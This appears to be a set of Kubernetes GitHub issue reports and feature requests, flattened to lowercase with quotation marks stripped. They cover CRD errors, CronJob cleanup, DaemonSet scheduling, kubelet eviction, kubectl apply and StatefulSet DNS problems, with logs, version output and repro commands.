/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ internal error occurred: no kind \\\\\\\ customresourcedefinition\\\\\\\  is registered for version \\\\\\\ apiextensions.k8s.io/v1beta1\\\\\\\ \\\ ,\\\ reason\\\ :\\\ internalerror\\\ ,\\\ details\\\ :{\\\ causes\\\ : {\\\ message\\\ :\\\ no kind \\\\\\\ customresourcedefinition\\\\\\\  is registered for version \\\\\\\ apiextensions.k8s.io/v1beta1\\\\\\\ \\\ } },\\\ code\\\ :500}\ \ \r    \r </p>\r </details>\r <br />\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r tags  because finding info about crds is hard on github :\r custom resource definition\r customresourcedefinition\r customresourcedefinitions

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r    \r \r   what happened  :\r i created a cronjob using an example to echo \ hello world\  every minute. works perfectly.\r if instead i replace the function to be called to wget with an unreachable website, the new pods keep being created and the older ones aren't deleted. \r <img width=\ 1329\  alt=\ screen shot 2018-06-12 at 10 32 19\  src=\ https://user-images.githubusercontent.com/1390884/41279141-f3a47c08-6e2b-11e8-8939-38b7faaeb0c7.png\ >\r \r   what you expected to happen  :\r i expected that once the pod for the job fails it should be deleted. \r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl run hello --schedule=\  /1        \  --restart onfailure --image busybox -- /bin/wget www.asdf.asdf\r \r   anything else we need to know?  :\r i just used the wrong website as an example to create cronjob failure. any other command that fails results in the same issue\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.6\r - cloud provider or hardware configuration: minikube 1.9\r - os  e.g. from /etc/os-release : mac high sierra\r - kernel  e.g.  uname -a  : darwin kernel 17.3.0\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r below subpath tests fails with below errors:\r \r  test \r - subpath should support restarting containers using directory as subpath\r - subpath should support restarting containers using file as subpath\r \r  error \r    \r step: waiting for container to stop restarting\r aug 30 08:11:33.142: info: container has restart count: 2\r aug 30 08:12:35.132: info: container restart has stabilized\r  aftereach   testpattern: inline-volume  default fs   subpath\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:119\r step: deleting pod\r aug 30 08:12:35.132: info: deleting gluster endpoints \ gluster-server\ ...\r aug 30 08:12:35.244: info: deleting gluster server pod \ gluster-server\ ...\r aug 30 08:12:35.244: info: deleting pod \ gluster-server\  in namespace \ e2e-tests-volumes-zhmp8\ \r aug 30 08:12:35.356: info: wait up to 5m0s for pod \ gluster-server\  to be fully deleted\r \r <snip>\r \r step: destroying namespace \ e2e-tests-volumes-zhmp8\  for this suite.\r aug 30 08:22:48.228: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r aug 30 08:22:48.895: info: namespace: e2e-tests-volumes-zhmp8, resource: pods, items remaining: 1\r aug 30 08:22:51.097: info: namespace: e2e-tests-volumes-zhmp8, resource: bindings, ignored listing per whitelist\r aug 30 08:22:52.757: info: namespace: e2e-tests-volumes-zhmp8, deletiontimetamp: 2018-08-30 08:12:47 +0000 utc, finalizers:  kubernetes , phase: terminating\r aug 30 08:22:52.870: info: namespace: e2e-tests-volumes-zhmp8, total namespaces: 26, active: 18, terminating: 8\r aug 30 08:22:52.982: info: pod                            node                             phase    grace  conditions\r aug 30 08:22:52.982: info: pod-subpath-test-gluster-vpld  bootstrap-e2e-minion-group-1cds  running  1s      {initialized true 0001-01-01 00:00:00 +0000 utc 2018-08-30 08:11:13 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2018-08-30 08:12:56 +0000 utc containersnotready containers with unready status:  test-container-subpath-gluster-vpld test-container-volume-gluster-vpld } {containersready false 0001-01-01 00:00:00 +0000 utc 0001-01-01 00:00:00 +0000 utc containersnotready containers with unready status:  test-container-subpath-gluster-vpld test-container-volume-gluster-vpld } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-08-30 08:11:10 +0000 utc  } \r aug 30 08:22:52.982: info: \r aug 30 08:22:52.982: info: couldn't delete ns: \ e2e-tests-volumes-zhmp8\ : namespace e2e-tests-volumes-zhmp8 was not deleted with limit: timed out waiting for the condition, pods remaining: 1  &errors.errorstring{s:\ namespace e2e-tests-volumes-zhmp8 was not deleted with limit: timed out waiting for the condition, pods remaining: 1\ } \r    \r \r   what you expected to happen  :\r above error doesn't happen\r \r   how to reproduce it  as minimally and precisely as possible   :\r run above subpath tests.\r \r   anything else we need to know?  :\r   \r https://github.com/kubernetes/kubernetes/pull/66577 introduced this issue or make this issue happens often:\r   \r

kuberntes 1.11.5\r \r \r https://github.com/google/cadvisor/issues/2148

as part of admission webhook ga, we need to decide on admission plugin ordering for both standard plugins and webhooks.\r \r the ordering problem comes out of issues like  this one  https://github.com/kubernetes/kubernetes/issues/64333 \r \r   problem  : plugins can have different ideas about some fields of the object hence side effect of one plugin is affecting other plugins and the ordering may result in different results. some plugins have validation phase at the end of the order which will fail if any other plugin changes the field they care about.\r \r the best suggestion right now is: in the case where a mutating admission plugin makes structural additions  e.g. adding a new container , we could rerun the mutating phase to give all plugins visibility to the new substruct, and the opportunity to enforce/default/reject fields on that substruct. \r \r @sttts @liggitt @caesarxuchao @lavalamp @deads2k

kubectl expose  should support exposing a service as ingress.  it should probably be the default generator when trying to expose a service and default to exposing everything else   rcs, pods  https://github.com/kubernetes/kubernetes/blob/2a929883929e64ab2cab2192ae7606de18426e36/pkg/kubectl/cmd/util/factory.go l289   as services.  @smarterclayton @bgrant0607 @bprashanth

filing separate follow up from  27150. the issue should have been caught by http://kubekins.dls.corp.google.com/job/kubernetes-e2e-gce-ubernetes-lite/ failing. the suite needs a specific feature test that e.g. looks at node labels to verify multiple zones are present.  cc @quinton-hoole

@eparis can you take a look at:  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/fedora/fedora_manual_config.md  we had a user on irc mentioning some problems wrt to the kubelet and the --api_servers flag.

bash client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+coreos.0\ , gitcommit:\ d7a04b1c6044647f5919fadf3cecb9ee70c10fc5\ , gittreestate:\ clean\ , builddate:\ 2016-08-15t21:01:42z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+coreos.0\ , gitcommit:\ d7a04b1c6044647f5919fadf3cecb9ee70c10fc5\ , gittreestate:\ clean\ , builddate:\ 2016-08-15t21:01:42z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } rkt version: 1.7.0 appc version: 0.8.4 go version: go1.6.1 go os/arch: linux/amd64 features: -tpm name=coreos id=coreos version=1068.9.0 version_id=1068.9.0 build_id=2016-08-05-0455 pretty_name=\ coreos 1068.9.0  moreos \  ansi_color=\ 1;32\  home_url=\ https://coreos.com/\  bug_report_url=\ https://github.com/coreos/bugs/issues\  linux coreos1 4.6.3-coreos  2 smp fri aug 5 04:51:16 utc 2016 x86_64 qemu virtual cpu version 1.5.3 genuineintel gnu/linux      sometimes after reboot pods scheduled from a daemonset do not run  on the master node.       bash kubectl describe daemonsets ceph-daemon-1 --namespace=ceph name:       ceph-daemon-1 image s :   ... selector:   app=ceph-daemon-1 node-selector:  nodenum=1 labels:     app=ceph-daemon-1 desired number of nodes scheduled: 1 current number of nodes scheduled: 1 number of nodes misscheduled: 0 pods status:    0 running / 0 waiting / 0 succeeded / 1 failed events:   firstseen lastseen    count   from        subobjectpath   type    reason          message   --------- --------    -----   ----        -------------   --------    ------          -------   50m       50m     1   {daemon-set }           normalsuccessfulcreate  created pod: ceph-daemon-1-z6t5n          bash kubectl get pods --namespace=ceph name                  ready     status    restarts   age ceph-daemon-2-ev1g3   3/3       running   18         22h ceph-daemon-3-rj22g   3/3       running   9          22h      no containers are created      bash docker ps | grep ceph      before json manifest dump      kubectl logs kube-controller-manager --namespace=kube-system | grep ceph-daemon-1 i0822 12:43:50.048854       1 controller.go:147  adding daemon set ceph-daemon-1 i0822 12:43:50.056660       1 replica_set.go:298  pod ceph-daemon-1-t6dkf created: kind:\ \  apiversion:\ \  . i0822 12:43:50.056699       1 replica_set.go:244  no replicasets found for pod ceph-daemon-1-t6dkf, replicaset controller will avoid syncing i0822 12:43:50.062149       1 deployment_controller.go:319  pod ceph-daemon-1-t6dkf created: kind:\ \  apiversion:\ \  . i0822 12:43:50.062170       1 deployment_controller.go:300  error: could not find replicaset for pod ceph-daemon-1-t6dkf in namespace ceph with labels: map app:ceph-daemon-1 . no replicasets found for pod ceph-daemon-1-t6dkf, deployment controller will avoid syncing. i0822 12:43:50.092647       1 controller.go:356  pod ceph-daemon-1-t6dkf added. i0822 12:43:50.094206       1 controller.go:166  no jobs found for pod ceph-daemon-1-t6dkf, job controller will avoid syncing i0822 12:43:50.094374       1 replication_controller.go:275  no controllers found for pod ceph-daemon-1-t6dkf, replication manager will avoid syncing i0822 12:43:50.095742       1 pet_set.go:158  pod ceph-daemon-1-t6dkf created, labels: map app:ceph-daemon-1  i0822 12:43:50.095761       1 pet_set.go:234  no petsets found for pod ceph-daemon-1-t6dkf, petset controller will avoid syncing i0822 12:43:50.113455       1 endpoints_controller.go:322  waiting for pods controller to sync, requeuing service ceph/ceph-daemon-1 i0822 12:43:50.113479       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  101.210897ms  i0822 12:43:50.154928       1 controller_utils.go:161  controller ceph/ceph-daemon-1 either never recorded expectations, or the ttl expired. i0822 12:43:50.155645       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466630, nsec:155641687, loc:  time.location  0x588a4e0 }} i0822 12:43:50.155677       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:43:50.155691       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:43:50.156165       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   1.246865ms  i0822 12:43:50.161059       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  7.092245ms       end of the json manifest dump that shows node selector fails  still with  grep ceph-daemon-1        status:api.podstatus{phase:\ failed\ , conditions:  api.podcondition nil , message:\ pod predicate matchnodeselector failed\ , reason:\ matchnodeselector\ , hostip:\ \ , podip:\ \ , starttime:  unversioned.time  0xc820e6b520 , initcontainerstatuses:  api.containerstatus nil , containerstatuses:  api.containerstatus nil }}. i0822 12:43:58.091310       1 deployment_controller.go:300  error: could not find replicaset for pod ceph-daemon-1-t6dkf in namespace ceph with labels: map app:ceph-daemon-1 . no replicasets found for pod ceph-daemon-1-t6dkf, deployment controller will avoid syncing. i0822 12:43:58.091333       1 deployment_controller.go:300  error: could not find replicaset for pod ceph-daemon-1-t6dkf in namespace ceph with labels: map app:ceph-daemon-1 . no replicasets found for pod ceph-daemon-1-t6dkf, deployment controller will avoid syncing. i0822 12:43:58.091367       1 controller.go:166  no jobs found for pod ceph-daemon-1-t6dkf, job controller will avoid syncing i0822 12:43:58.091634       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466638, nsec:91630726, loc:  time.location  0x588a4e0 }} i0822 12:43:58.091655       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:43:58.091663       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:43:58.091764       1 replica_set.go:329  pod ceph-daemon-1-t6dkf updated, objectmeta {name:ceph-daemon-1-t6dkf generatename:ceph-daemon-1- namespace:ceph selflink:/api/v1/namespaces/ceph/pods/ceph-daemon-1-t6dkf uid:6e81bfde-67d6-11e6-a00f-00163c830412 resourceversion:19865048 generation:0 creationtimestamp:{time:2016-08-21 19:35:35 +0000 utc} deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map app:ceph-daemon-1  annotations:map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ daemonset\ ,\ namespace\ :\ ceph\ ,\ name\ :\ ceph-daemon-1\ ,\ uid\ :\ 6e7e6ec1-67d6-11e6-a00f-00163c830412\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 19865015\ }}   ownerreferences:   finalizers:  } -> {name:ceph-daemon-1-t6dkf generatename:ceph-daemon-1- namespace:ceph selflink:/api/v1/namespaces/ceph/pods/ceph-daemon-1-t6dkf uid:6e81bfde-67d6-11e6-a00f-00163c830412 resourceversion:20010907 generation:0 creationtimestamp:{time:2016-08-21 19:35:35 +0000 utc} deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map app ceph-daemon-1  annotations:map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ daemonset\ ,\ namespace\ :\ ceph\ ,\ name\ :\ ceph-daemon-1\ ,\ uid\ :\ 6e7e6ec1-67d6-11e6-a00f-00163c830412\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 19865015\ }} i0822 12:43:58.091854       1 pet_set.go:234  no petsets found for pod ceph-daemon-1-t6dkf, petset controller will avoid syncing i0822 12:43:58.091871       1 replica_set.go:244  no replicasets found for pod ceph-daemon-1-t6dkf, replicaset controller will avoid syncing i0822 12:43:58.091969       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   745.643µs  i0822 12:43:58.103371       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  12.603004ms  i0822 12:44:19.991972       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  9.311024ms  i0822 12:44:20.035513       1 controller.go:168  updating daemon set ceph-daemon-1 i0822 12:44:20.050332       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466660, nsec:50328049, loc:  time.location  0x588a4e0 }} i0822 12:44:20.050373       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:44:20.050411       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:44:20.050816       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   979.7µs  i0822 12:44:49.998274       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  9.794818ms  i0822 12:44:50.035498       1 controller.go:168  updating daemon set ceph-daemon-1 i0822 12:44:50.036299       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466690, nsec:36292015, loc:  time.location  0x588a4e0 }} i0822 12:44:50.036344       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:44:50.036359       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:44:50.036628       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   978.748µs  i0822 12:45:20.002096       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  18.636798ms  i0822 12:45:20.036849       1 controller.go:168  updating daemon set ceph-daemon-1 i0822 12:45:20.038182       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466720, nsec:38171858, loc:  time.location  0x588a4e0 }} i0822 12:45:20.038235       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:45:20.038276       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:45:20.038938       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   1.869225ms  i0822 12:45:49.996657       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  6.353948ms  i0822 12:45:50.036997       1 controller.go:168  updating daemon set ceph-daemon-1 i0822 12:45:50.037926       1 controller_utils.go:178  setting expectations &controller.controlleeexpectations{add:0, del:0, key:\ ceph/ceph-daemon-1\ , timestamp:time.time{sec:63607466750, nsec:37918753, loc:  time.location  0x588a4e0 }} i0822 12:45:50.037961       1 controller.go:538  nodes needing daemon pods for daemon set ceph-daemon-1:   , creating 0 i0822 12:45:50.037974       1 controller.go:553  pods to delete for daemon set ceph-daemon-1:   , deleting 0 i0822 12:45:50.038817       1 controller.go:635  finished syncing daemon set \ ceph/ceph-daemon-1\   1.62769ms  i0822 12:46:20.017322       1 endpoints_controller.go:316  finished syncing service \ ceph/ceph-daemon-1\  endpoints.  24.107295ms  i0822 12:46:20.037628       1 controller.go:168  updating daemon set ceph-daemon-1      deleting the orphaned pod manually is enough to reschedule and run another one successfully  kubectl delete pods ceph-daemon-1-t6dkf --namespace=ceph

kubernetes version    use  kubectl version  : the latest    what you expected to happen  : when call lock  , we need to call unlock    i have send a pr to fix this issue and ptal.  signed-off-by: yuexiao-wang wang.yuexiao@zte.com.cn

brought up in @kubernetes/sig-apps today, there seems to be a great deal of common patterns between workload controllers  deployments, daemonsets, statefulsets . namely all three of them in one way or another need:\r \r   upgrades  http://kubernetes.io/docs/user-guide/deployments/ updating-a-deployment, https://github.com/kubernetes/kubernetes/pull/31693, https://github.com/kubernetes/kubernetes/issues/28706 \r   failure detection  https://github.com/kubernetes/kubernetes.github.io/pull/1699, https://github.com/kubernetes/kubernetes/issues/30206, https://github.com/kubernetes/kubernetes/issues/36482 \r   the ability to rollback  either manually or automatically after a permanent failure has been detected - https://github.com/kubernetes/kubernetes/issues/23211 \r   historical info per se  changeset of my app \r   a policy for cleaning up history \r   user-extensible strategies  https://github.com/kubernetes/kubernetes/issues/14510 \r \r even more features that could possibly make sense for all of the workload controllers can be found in https://github.com/kubernetes/community/wiki/roadmap:-deployment\r \r this issue serves for discussing similarities, differences, what makes sense for all three controllers, and what can we do in order to be consistent across all wherever it is possible.\r

feature request  \r \r not be able to use line below\r \r    \r kubectl delete services,deployments -l app=app1 --all-namespaces \r    \r \r forces us to do this\r \r    \r kubectl delete services,deployments -l app=app1 --namespace=ns1\r ---\r kubectl delete services,deployments -l app=app1 --namespace=ns2\r ---\r kubectl delete services,deployments -l app=app1 --namespace=ns3\r    \r \r i would go to 20 but i believe you get the idea 😉 \r \r   kubernetes version  \r client v1.5.4\r server v1.6.1\r

i just upgraded a cluster from 1.5.2 to 1.7.0, and it's working fine, although  kubelet  keeps trying to reclaim nodefs. not sure why. any thoughts?\r \r my cluster runs in an openstack environment, it's provisioned by openstack magnum. i upgraded it by replacing all the binaries and services to 1.7.0, and it seems to be working fine.\r \r describing the master node  pay attention to the events below - 1200+ occurrencies of the warning :\r \r    shell\r $ k describe no kube-master\r name:\t\t\tkube-master\r role:\t\t\t\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tkubernetes.io/hostname=kube-master\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 07 jul 2017 08:06:53 +0000\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \tmon, 10 jul 2017 12:48:23 +0000 \tmon, 10 jul 2017 07:32:04 +0000 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \tmon, 10 jul 2017 12:48:23 +0000 \tmon, 10 jul 2017 07:32:04 +0000 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\ttrue \tmon, 10 jul 2017 12:48:23 +0000 \tmon, 10 jul 2017 07:32:14 +0000 \tkubelethasdiskpressure \t\tkubelet has disk pressure\r   ready \t\ttrue \tmon, 10 jul 2017 12:48:23 +0000 \tmon, 10 jul 2017 07:32:14 +0000 \tkubeletready \t\t\tkubelet is posting ready status\r addresses:\t\tkube-master,kube-master\r capacity:\r  cpu:\t\t2\r  memory:\t3696784ki\r  pods:\t\t110\r allocatable:\r  cpu:\t\t2\r  memory:\t3594384ki\r  pods:\t\t110\r system info:\r  machine id:\t\t\t7263b14b412d402a8127bc5f461fc1ec\r  system uuid:\t\t\t7263b14b-412d-402a-8127-bc5f461fc1ec\r  boot id:\t\t\t08174161-a67c-4a43-abee-1751dc7f203a\r  kernel version:\t\t4.9.6-200.fc25.x86_64\r  os image:\t\t\tfedora 25  atomic host \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.6\r  kubelet version:\t\tv1.7.0\r  kube-proxy version:\t\tv1.7.0\r externalid:\t\t\tkube-master\r non-terminated pods:\t\t 0 in total \r   namespace\t\t\tname\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t------------\t----------\t---------------\t-------------\r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted.\r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   0  0% \t0  0% \t\t0  0% \t\t0  0% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   5h\t\t20s\t\t1271\t{kubelet kube-master}\t\t\twarning\t\tevictionthresholdmet\tattempting to reclaim nodefs\r    \r logs from kubelet:\r \r    shell\r jul 10 12:09:11 master.cern.ch kubelet 21724 : w0710 12:09:11.316491   21724 eviction_manager.go:331  eviction manager: attempting to reclaim nodefs\r jul 10 12:09:11 master.cern.ch kubelet 21724 : i0710 12:09:11.316826   21724 eviction_manager.go:345  eviction manager: must evict pod s  to reclaim nodefs\r jul 10 12:09:11 master.cern.ch kubelet 21724 : e0710 12:09:11.317073   21724 eviction_manager.go:356  eviction manager: eviction thresholds have been met, but no pods are active to evict\r jul 10 12:09:21 master.cern.ch kubelet 21724 : w0710 12:09:21.388922   21724 helpers.go:771  eviction manager: no observation found for eviction signal allocatablenodefs.available\r    \r cc @kubernetes/sig-scheduling-misc @kubernetes/sig-openstack-misc

instead of returning an error \ unable to retrieve the complete list of server apis\  if a single endpoint can't be loaded, the discovery client should return the list of everything that it  was  able to load.\r \r due to this, users can currently break their clusters by making a tpr with multiple versions: https://github.com/kubernetes/kubernetes/issues/22768 issuecomment-220522337

is this a bug report or feature request?  :\r  \r   what happened  :\r one of the gpu tests started failing after this pr:\r https://k8s-testgrid.appspot.com/wg-resource-management gke-gpu&show-stale-tests=\r \r first failed run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gpu/647?log log\r last successful run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gpu/646?log log\r \r /assign\r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r crd:\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r description: calico ip pools\r kind: customresourcedefinition\r metadata:\r   name: ippools.crd.projectcalico.org\r spec:\r   scope: cluster\r   group: crd.projectcalico.org\r   version: v1\r   names:\r     kind: ippool\r     plural: ippools\r     singular: ippool\r    \r \r existing object:\r \r    \r apiversion: crd.projectcalico.org/v1\r kind: ippool\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ crd.projectcalico.org/v1\ ,\ kind\ :\ ippool\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ 172-29-0-0-16\ ,\ namespace\ :\ \ },\ spec\ :{\ cidr\ :\ 172.29.0.0/16\ }}\r   clustername: \ \ \r   creationtimestamp: 2017-10-03t10:09:47z\r   deletiongraceperiodseconds: null\r   deletiontimestamp: null\r   generation: 0\r   initializers: null\r   name: 172-29-0-0-16\r   namespace: \ \ \r   resourceversion: \ 18833705\ \r   selflink: /apis/crd.projectcalico.org/v1/172-29-0-0-16\r   uid: fc9418eb-a822-11e7-9fc7-4201ac1fd019\r spec:\r   cidr: 172.29.0.0/16\r    \r \r new object:\r \r    \r apiversion: crd.projectcalico.org/v1\r kind: ippool\r metadata:\r   name: 172-29-0-0-16\r spec:\r   cidr: 172.29.0.0/16\r    \r \r  kubectl apply  says:\r \r    \r error from server  invalid : error when applying patch:\r {\ metadata\ :{\ annotations\ :{}}}\r to:\r &{0xc421420240 0xc4215597a0  172-29-0-0-16 build/manifests/calico-node.yaml 0xc421182890 0xc420f58ce0 18833705 false}\r for: \ build/manifests/calico-node.yaml\ : ippool.crd.projectcalico.org \ 172-29-0-0-16\  is invalid: apiversion: invalid value: \ ippool\ : must be crd.projectcalico.org/v1\r    \r \r if this is a problem with the new object definition rather than a bug with  kubectl apply , i'd expect a better error message.   the new object looks fine to me, though; it should be identical to the old object. \r \r   what you expected to happen  :\r \r i expected the object to be updated without an error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see description.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : centos linux 7.4  1708 \r - kernel  e.g.  uname -a  : linux master-head-1 4.13.4-1.el7.elrepo.x86_64  1 smp wed sep 27 13:32:23 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: custom scripts\r - others:\r

when i use cloud provider openstack and i use loadbalancer to expose a service i see that the load balancer gets created but the nodes are not added as members to the load balancer pool\r \r expected result\r lbaas pool gets created but also members need to be added to the pool\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : when kafka statefulset cluster  in conjunction with initcontainers  is rolled, it is not able to do dns lookups. repeated restarts on the same node fail repeatedly. only when i  cordon  that node, and delete the kafka pod, and kafka gets reassigned to another node, it is able to make dns lookup successfully  even when initcontainer is running along with it .\r \r   what you expected to happen  : i expected the dns lookups to work just fine on the statefulset pods after rolling restart.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   add a initcontainer  like so  https://github.com/kubernetes/kubernetes/issues/44103 issuecomment-326851272 \r    \r       initcontainers:\r       - name: label-set\r         command:  \ sh\ ,\ -c\ ,\ /usr/local/bin/kubectl label pod ${hostname} podname=${hostname} -n{{ .values.name }}\  \r         image: my.private.registry/k8s/kubectl\r    \r   roll the statefulset by changing an annotation\r   ensure that the pod again comes up on the last node it was running on.\r   verify that the  kafka  pod fails to start up:\r    \r caused by: java.net.unknownhostexception: zookeeper-service.zookeeper.svc.cluster.local: temporary failure in name resolution\ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2018-03-02t12:36:58.167197901z\r    \r   confirm zookeeper-service is running:\r    \r $ kubectl -nzookeeper get svc\r name                cluster-ip      external-ip   port s              age\r zookeeper           none            <none>        2888/tcp,3888/tcp   72d\r zookeeper-service   172.20.224.45   <none>        2181/tcp            72d\r    \r ----\r normal scenario\r    \r $ kubectl -nkafka exec -it kafka-0 bash\r   telnet zookeeper-service.zookeeper.svc.cluster.local 2181\r trying 172.20.224.45...\r connected to zookeeper-service.zookeeper.svc.cluster.local.\r escape character is '^ '.\r    \r when deleted the pod, and it again lands up on the same node:\r    \r $ kubectl -nkafka delete po kafka-0\r pod \ kafka-0\  deleted\r $kubectl -nkafka get po -o wide -w\r name      ready     status        restarts   age       ip               node\r kafka-0   1/1       terminating   0          1m        172.16.234.231   kubelarge06\r kafka-1   1/1       running       0          2h        